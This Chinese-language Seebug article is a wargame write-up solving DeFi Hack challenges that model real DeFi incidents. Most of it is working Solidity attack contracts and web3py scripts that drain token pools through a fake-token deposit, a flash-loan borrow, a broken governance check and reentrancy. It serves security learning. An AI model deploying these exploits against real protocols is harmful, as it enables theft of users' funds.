作者:0x9k
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
前言
DeFi Hack是根據真實世界DeFi中出現的漏洞為模板,抽象而來的wargame。用以提高學習者挖掘、利用DeFi智能合約漏洞的技能[1]。

May The Force Be With You
題目描述
本關目標是從MayTheForceBeWithYou合約中盜取所有的YODA token,難度三顆星。
合約代碼分析
YODA token是自實現的ERC20,自己實現了transfer方法。其自實現的doTransfer方法在token數量不足的情況下,并沒有revert,而僅僅只是返回false。

攻擊

真實場景
https://blog.forcedao.com/xforce-exploit-post-mortem-7fa9dcba2ac3
DiscoLP
題目描述

本關基于Uniswap2實現了一個自己的流動性池DiscoLP(流動性token為DISCO),配對了JIMBO和JAMBO兩種token。初始時給定player 1JIMBO和1JAMBO,期望用戶獲得100流動性token DISCO。難度七顆星。
合約代碼分析

depositToken函數沒有針對傳入的token(可控)進行有效性判斷(判斷是否為JIMBO、JAMBO)。致使后續在Uniswap路由中判斷配對合約時并不是JIMBO&JAMBO,而是用戶傳入的token和配對合約中的一個token。
攻擊
惡意構造一個token并mint,與配對合約中的tokenA創一個新的配對合約到Uniswap。調用depositToken獲取得到超過100流動性的DISCO,再把獲取的流動性token由攻擊者合約轉給player即可。
pragma solidity >=0.6.5;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/ERC20.sol";
interface IDiscoLP {
function depositToken(address _token, uint256 _amount, uint256 _minShares) external;
function balanceOf(address from) external returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract Token is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public {
_mint(msg.sender, 2**256 - 1);
}
}
library $ {
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
interface IPair {
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
}
contract DiscoLPAttack {
function getToken0(address pair) public view returns(address) {
return IPair(pair).token0();
}
function atttack(address instance, uint256 amount, address tokenA) public payable {
address _factory = $.UniswapV2_FACTORY;
address _router = $.UniswapV2_ROUTER02;
ERC20 evilToken = new Token("Evil Token", "EVIL");
address pair = IUniswapV2Factory(_factory).createPair(address(evilToken), address(tokenA));
evilToken.approve(instance, uint256(-1));
evilToken.approve(_router, uint256(-1));
IERC20(tokenA).approve(_router, uint256(-1));
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
address(evilToken),
address(tokenA),
1000000 * 10 ** 18,
1 * 10 ** 18,
1, 1, address(this), uint256(-1));
IDiscoLP(instance).depositToken(address(evilToken), amount, 1);
}
function transferDiscoLP2Player(address instance, address player) public payable {
uint256 balance = IDiscoLP(instance).balanceOf(address(this));
IDiscoLP(instance).approve(address(this), uint256(-1));
IDiscoLP(instance).transfer(player, balance);
}
}
/**
* step1: get reserveToken() from instance
* step2: deploy attack contract
* step3: get token0 on pair attack.getToken0(reserveToken)
* step4: token0.transfer(attack contract, 1 * 10 ** 18)
* Token contract At Address in remix then transfer
* step5: attack contract attack(instance, 1000000 * 10 ** 18, token0)
* step6: transferDiscoLP2Player(instance, player)
* step7: in DiscoLP balanceOf(player)
**/
真實場景
https://growthdefi.medium.com/raave-farming-contract-exploit-explained-f3b6f0b3c1b3
P2PSwapper
題目描述
本關實現了一個零信任的DEX,并提供了交易相關的操作(創建createDeal、處理takeDeal、取消cancleDeal等)。目標是盜取P2PSwapper
合約中所有的WETH token。難度五顆星。
合約代碼分析

默認partnerById和userByAddress并未初始化,當withdrawFees的user不存在,能bypass檢查,使得userByAddress[msg.sender] == 0 == partnerById[userId]。從而實現多次withdrawFees,最終實現提取完合約P2PSwapper中的WETH。
攻擊
/**
* 1. 初始時P2PSwapper中的weth token,balanceOf(instance) == 313337+1 = 313338
* instance.createDeal{value: 313337}(p2pweth, 1, p2pweth, 1000000000000);
* partnerFees[0] = 313338/2 = 1566669
*
* 2. 攻擊者player調用p2pweth.deposit(1eth)
* 3. 攻擊者player調用approve(instance, 10eth = 1*10^19 = 10000000000000000000)完成授權
* 4. 攻擊者player調用P2PSwapper.createDeal(p2pweth, 1, p2pweth, 1) (value:3133338)
* 此時P2PSwapper合約instance的余額 balanceOf(instance) = 313338+1+3133338 = 3446677
*
* 5. 攻擊者player調用P2PSwapper.withdrawFees(player2)提取到一個未注冊&初始化的用戶地址player2
* 此時P2PSwapper合約instance的余額 balanceOf(instance) = 3446677 - partnerFees[0] = 3446677 - 1566669 = 1880008
*
* 6. 攻擊者player調用P2PSwapper.withdrawFees(player3)提取到一個未注冊&初始化的用戶地址player3
* 此時P2PSwapper合約instance的余額 balanceOf(instance) = 1880008 - partnerFees[0] = 1880008 - 1566669 = 313339
*
* 7. 繼續withdrawFees合約余額是不足的,需要稍加計算先給合約轉入weth p2pweth.transfer(instance) = 1253330
* 此時P2PSwapper合約instance的余額 balanceOf(instance) = 313339 + 1253330 = 1566669 = partnerFees[0]
*
* 8. 攻擊者player調用P2PSwapper.withdrawFees(player4)提取到一個未注冊&初始化的用戶地址player4
* 此時P2PSwapper合約instance的余額 balanceOf(instance) = 1566669 - partnerFees[0] = 1566669 - 1566669 = 0
*
* done
**/
上述過程可以利用web3py&web3js編寫自動化腳本。web3py攻擊腳本如下:
# -*-coding:utf-8-*-
__author__ = 'joker'
import json
import time
from web3 import Web3, HTTPProvider
from web3.gas_strategies.time_based import fast_gas_price_strategy, slow_gas_price_strategy, medium_gas_price_strategy
# infura_url = 'https://ropsten.infura.io/v3/xxxx'
infura_url = 'http://127.0.0.1:7545'
web3 = Web3(Web3.HTTPProvider(infura_url, request_kwargs={'timeout': 600}))
web3.eth.setGasPriceStrategy(fast_gas_price_strategy)
gasprice = web3.eth.generateGasPrice()
print("[+] fast gas price {0}...".format(gasprice))
player_private_key = ''
player_account = web3.eth.account.privateKeyToAccount(player_private_key)
web3.eth.defaultAccount = player_account.address
print("[+] account {0}...".format(player_account.address))
player2_address = ''
player3_address = ''
player4_address = ''
def send_transaction_sync(tx, account, args={}):
args['nonce'] = web3.eth.getTransactionCount(account.address)
signed_txn = account.signTransaction(tx.buildTransaction(args))
tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
time.sleep(30)
return web3.eth.waitForTransactionReceipt(tx_hash)
challenge_address = ""
with open('./P2PSwapper/challenge.abi', 'r') as f:
abi = json.load(f)
challenge_contract = web3.eth.contract(address=challenge_address, abi=abi)
p2pweth_address = challenge_contract.functions.p2pweth().call()
print("[+] p2pweth {0}...".format(p2pweth_address))
with open('./P2PSwapper/p2pweth.abi', 'r') as f:
abi = json.load(f)
p2pweth_contract = web3.eth.contract(address=p2pweth_address, abi=abi)
# p2pweth.deposit(1eth)
print("[+] step1 player p2pweth deposit 1eth...")
tx = p2pweth_contract.functions.deposit()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice, 'value': 1000000000000000000})
#
# approve(instance, 10eth = 1*10^19 = 10000000000000000000)
print("[+] step2 player approve(instance, 10eth = 1*10^19 = 10000000000000000000)...")
tx = p2pweth_contract.functions.approve(guy=challenge_address, wad=10000000000000000000)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# P2PSwapper.createDeal(p2pweth, 1, p2pweth, 1) (value:3133338)
print("[+] step3 createDeal(p2pweth, 1, p2pweth, 1) with player (value:3133338)...")
tx = challenge_contract.functions.createDeal(bidToken=p2pweth_address, bidPrice=1, askToken=p2pweth_address, askAmount=1)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice, 'value': 3133338})
#
# P2PSwapper.withdrawFees(player2)
print("[+] step4 withdrawFees(player2) from player...")
tx = challenge_contract.functions.withdrawFees(user=player2_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# P2PSwapper.withdrawFees(player3)
print("[+] step5 withdrawFees(player3) from player...")
tx = challenge_contract.functions.withdrawFees(user=player3_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# p2pweth.transfer(instance) = 1253330
print("[+] step6 p2pweth.transfer(instance) = 1253330...")
tx = p2pweth_contract.functions.transfer(dst=challenge_address, wad=1253330)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# P2PSwapper.withdrawFees(player4)
print("[+] step7 withdrawFees(player2) from player...")
tx = challenge_contract.functions.withdrawFees(user=player4_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
print('[+] Solved {0} ...'.format(p2pweth_contract.functions.balanceOf(challenge_address).call() == 0))
真實場景

FakerDAO
題目描述
本關是一個基于Uniswap實現的DAO合約,使用YIN&YANG實現配對合約。初始時player擁有5000YIN&5000YANG,目標從FakerDAO合約中借取1LAMBO的流動性代幣。難度七顆星。
合約代碼分析

很明顯,利用Uniswap的閃電貸屬性[2],完成借貸并在閃電貸過程中調用FakerDAO合約的borrow獲取流動性token,然后歸還閃電貸即可。閃電貸[2]需要實現IUniswapV2Callee接口的uniswapV2Call方法。
攻擊
首先從攻擊合約中獲取配對合約token0&token1,把player擁有的初始化token,轉給攻擊合約,攻擊合約實現uniswapV2Call接口,利用閃電貸(Flash Loan)完成借貸,并調用FakerDAO.borrow方法獲取流動性token,最后歸還閃電貸。
pragma solidity ^0.6.0;
import "https://github.com/Uniswap/v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
import "./UniswapV2Library.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/IERC20.sol";
contract FakerDAOAttack is IUniswapV2Callee{
address public instance;
function attack(address _instance, address _pair, uint256 amount0Out, uint256 amount1Out) public {
instance = _instance;
// (uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
address token0 = Pair(_pair).token0();
address token1 = Pair(_pair).token1();
address _router = $.UniswapV2_ROUTER02;
IERC20(token0).approve(_router, uint256(-1));
IERC20(token1).approve(_router, uint256(-1));
IERC20(_pair).approve(_instance, uint256(-1));
// add liquidity
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
token0,
token1,
1500 * 10 ** 18,
1500 * 10 ** 18,
1, 1, address(this), uint256(-1));
Pair(_pair).swap(amount0Out, amount1Out, address(this), bytes('not empty'));
}
function uniswapV2Call(address _sender, uint _amount0, uint _amount1, bytes calldata _data) external override {
// address[] memory path = new address[](2);
// uint amountToken = _amount0 == 0 ? _amount1 : _amount0;
address token0 = Pair(msg.sender).token0();
address token1 = Pair(msg.sender).token1();
require(msg.sender == UniswapV2Library.pairFor($.UniswapV2_FACTORY, token0, token1),'Unauthorized');
FakerDAO(instance).borrow(1);
// transfer into pair(msg.sender)
// return flash loan
IERC20(token0).transfer(msg.sender, IERC20(token0).balanceOf(address(this)));
IERC20(token1).transfer(msg.sender, IERC20(token1).balanceOf(address(this)));
}
function toPlayer() public {
FakerDAO(instance).transfer(msg.sender, 1);
}
}
interface FakerDAO is IERC20 {
function borrow(uint256 _amount) external;
}
library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
interface Pair is IERC20
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
/**
* steps:
* 1) get token0 and token1 on contract.pair
* 2) deploy FakerDAOAttack
* 3) token0.transfer(FakerDAOAttack, 5000000000000000000000) from player
* 4) token1.transfer(FakerDAOAttack, 5000000000000000000000) from player
* 5) FakerDAOAttack.attack(instance, pair, 1, 999999999999999999999999)
* 6) FakerDAOAttack.toPlayer
*/
真實場景
https://slowmist.medium.com/analysis-of-warp-finance-hacked-incident-cb12a1af74cc
Main Khinkal Chef
題目描述

本關MainChef合約實現了流動性池管理的工具,可以通過add添加池子Pool信息,隨著區塊時間的變化,會針對Pool池子進行獎勵(通過updatePool完成)。獎勵通過代幣KhinkalToken進行發放,每當池子更新,MainChef合約都會mint對應的獎勵代幣KhinkalToken,目標是盜取MainChef合約中所有的KHINKAL token。難度五顆星。
合約代碼分析
setGovernance用以修改管理員,檢查邏輯存在嚴重錯誤,可以修改管理員,從而實現向合約中添加新的token即形成新的Pool。正確的檢查邏輯應該如下(多了一個下劃線,導致和參數一致):
require(msg.sender == owner() || msg.sender == governance, "Access denied");
有了管理員權限之后,可以添加任意的token(evil token)。
在任意添加token之后,token的transferfrom為攻擊者可控的惡意函數。
由于token可控,user.amount在token.transfer之后重置,致使可以利用重入攻擊多次withdraw,從而實現抽干合約中的代幣。
由于token可控,token的balanceOf函數可控,利用lpSupply可以控制是否獎勵,這在后續攻擊中需要用到,用來計算此時MainChef中的獎勵代幣KhinkalToken數量。
攻擊
由于獎勵代幣KhinkalToken和區塊高度息息相關,在真實場景中交易頻繁,為了很好的實現精準控制,需要針對重入攻擊(token.tranfser)進行精確布局,以保證能自適應區塊高度的變化。
完整的攻擊代碼分為攻擊合約&攻擊腳本web3py,攻擊腳本進行相關的計算并調用攻擊合約完成攻擊。 攻擊合約如下:
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/IERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/access/Ownable.sol";
import "./KhinkalToken.sol";
interface IMainChef {
function setGovernance(address _governance) external;
function withdraw(uint256 _pid) external;
function deposit(uint256 _pid,uint256 _amount) external;
function addToken(IERC20 _lpToken) external;
function updatePool(uint256 _pid) external;
}
contract MainChefAttack is Ownable {
IMainChef target;
uint pwnedtransferFlag;
uint pwnedtransferFromFlag;
uint balanceOfFlag;
uint256 pid;
KhinkalToken khinkal;
uint256 accKhinkalPerShare;
constructor(address _target, address _token) public {
target = IMainChef(_target);
khinkal = KhinkalToken(_token);
balanceOfFlag = 1;
pid = 1;
pwnedtransferFlag = 0;
}
function setAccKhinkalPerShare(uint256 _accKhinkalPerShare) public onlyOwner {
accKhinkalPerShare = _accKhinkalPerShare;
}
// function balanceOf(address account) public view virtual returns (uint256) {
function balanceOf(address account) public virtual returns (uint256) {
if (balanceOfFlag == 1) {
return 0;
} else {
return 1e18;
}
}
function transfer(address recipient, uint256 amount) public virtual returns (bool) {
// reentrant attack exp
if (pwnedtransferFlag == 1) {
pwnedtransferFlag = 2;
if (khinkal.balanceOf(address(target)) > 0) {
target.withdraw(pid);
}
return true;
}
if (pwnedtransferFlag == 2) {
// 1 + 78333646677 = 78333646678
// withdraw 500004127749479808 * 2
uint256 leftBalanceChallenge = khinkal.balanceOf(address(target));
uint256 withdrawBalance = 500004127749479808 * accKhinkalPerShare / 1e12;
if (leftBalanceChallenge < withdrawBalance) {
khinkal.transfer(address(target), withdrawBalance - leftBalanceChallenge);
} else if (leftBalanceChallenge < 2 * withdrawBalance) {
khinkal.transfer(address(target), 2 * withdrawBalance - leftBalanceChallenge);
}
pwnedtransferFlag = 3;
if (khinkal.balanceOf(address(target)) > 0) {
target.withdraw(pid);
}
return true;
}
if (pwnedtransferFlag == 3) {
pwnedtransferFlag = 0;
if (khinkal.balanceOf(address(target)) > 0) {
target.withdraw(pid);
}
return true;
}
return true;
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/ERC20.sol
function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
return true;
}
function attackPwnedPrepare() public payable onlyOwner {
target.setGovernance(address(this));
target.addToken(IERC20(address(this)));
// after 5 block number
/**
* internal 5 block number
khinkalReward = 5 * 31333333337 / 2 = 78333333342
accKhinkalPerShare = khinkalReward * 1e12 /1e18
= 78333333342 * 1e12 / 1e18
= 78333
instance = 313337 + khinkalReward
= 313337 + 78333333342
= 78333646679
lastKhinkalReward = khinkalReward = 78333333342
bypass require(pending <= pool.lastKhinkalReward, "Reward bigger than minted");
78333646679
78333646679 / 2 = 39166823339
>>> "%.40f" %(39166823339*1e12/78333)
'500004127749479808.0000000000000000000000000000000000000000'
*/
target.deposit(pid, 500004127749479808);
}
function attackUpdatePool() public payable onlyOwner {
balanceOfFlag = 0;
target.updatePool(pid);
balanceOfFlag = 1;
}
function attackPwned() public payable onlyOwner {
pwnedtransferFlag = 1;
target.withdraw(pid);
}
function validateInstanceAddress() public view returns (bool) {
return khinkal.balanceOf(address(target)) == 0;
}
function getInstance() public view returns (address) {
return address(target);
}
function getTokenAddress() public view returns (address) {
return address(khinkal);
}
}
/**
* 1. deployed MainChefAttack
* 2. MainChefAttack.attackPrepare()
* 3. MainChefAttack.attackUpdatePool()
* 4. MainChefAttack.setAccKhinkalPerShare()
* 3. MainChefAttack.attackPwned()
*/
攻擊腳本如下:
# -*-coding:utf-8-*-
__author__ = 'joker'
import json
import time
from web3 import Web3, HTTPProvider
from web3.gas_strategies.time_based import fast_gas_price_strategy, slow_gas_price_strategy, medium_gas_price_strategy
infura_url = 'https://ropsten.infura.io/v3/xxxx'
# infura_url = 'http://127.0.0.1:7545'
web3 = Web3(Web3.HTTPProvider(infura_url, request_kwargs={'timeout': 600}))
web3.eth.setGasPriceStrategy(fast_gas_price_strategy)
gasprice = web3.eth.generateGasPrice()
print("[+] fast gas price {0}...".format(gasprice))
player_private_key = ''
player_account = web3.eth.account.privateKeyToAccount(player_private_key)
web3.eth.defaultAccount = player_account.address
print("[+] account {0}...".format(player_account.address))
def send_transaction_sync(tx, account, args={}):
args['nonce'] = web3.eth.getTransactionCount(account.address)
signed_txn = account.signTransaction(tx.buildTransaction(args))
tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
time.sleep(30)
return web3.eth.waitForTransactionReceipt(tx_hash)
print("[+] step0 deployed attack contract...")
with open('./attack.abi', 'r') as f:
abi = json.load(f)
with open('./attack.bin', 'r') as f:
code = json.load(f)['object']
attack_contract = web3.eth.contract(bytecode=code, abi=abi)
challenge_address = ""
token_address = ""
tx = attack_contract.constructor(_target=challenge_address,
_token=token_address)
attack_contract_address = send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})[
'contractAddress']
print("[+] attack contract address {0}...".format(attack_contract_address))
attack_contract = web3.eth.contract(address=attack_contract_address, abi=abi)
# step1 attackPrepare
print("[+] step1 attackPwnedPrepare...")
tx = attack_contract.functions.attackPwnedPrepare()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
block_number = web3.eth.blockNumber
print("[+] block number {0}...".format(block_number))
print("[+] waiting for reach block number...")
while web3.eth.blockNumber != block_number + 4:
# print("[-] waiting ...")
continue
# step2 attackUpdatePool
print("[+] step2 attackUpdatePool...")
tx = attack_contract.functions.attackUpdatePool()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
input("any key to continue...")
# sometimes u can not get accurate block number of 4 maybe more
# to adapt to we need calc and tranfser
# uint256 leftBalanceChallenge = khinkal.balanceOf(address(target));
# uint256 withdrawBalance = 500004127749479808 * accKhinkalPerShare / 1e12;
# if (leftBalanceChallenge < 2 * withdrawBalance)
# khinkal.transfer(address(target),2 * withdrawBalance - leftBalanceChallenge);
# set accKhinkalPerShare to attack contract for calcing
print("[+] get accKhinkalPerShare and set it to attack contract...")
with open('./challenge.abi', 'r') as f:
abi = json.load(f)
challenge_contract = web3.eth.contract(address=challenge_address, abi=abi)
accKhinkalPerShare = challenge_contract.functions.poolInfo(1).call()[3]
tx = attack_contract.functions.setAccKhinkalPerShare(_accKhinkalPerShare=accKhinkalPerShare)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# step3 attackPwned
print("[+] step3 attackPwned...")
tx = attack_contract.functions.attackPwned()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# check
print('[+] Solved {0} ...'.format(attack_contract.functions.validateInstanceAddress().call()))
#
真實場景
Reference
[1] https://mobile.twitter.com/theraz0r/status/1395288985740664834
[2] https://github.com/Uniswap/v2-periphery/blob/master/contracts/examples/ExampleFlashSwap.sol
附錄
本地測試合約代碼&攻擊合約代碼見https://github.com/0x9k/blockchain/defihack_xyz
本地測試合約統一從Factory進行部署,部署獲取得到instance即為關卡合約地址。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1880/
暫無評論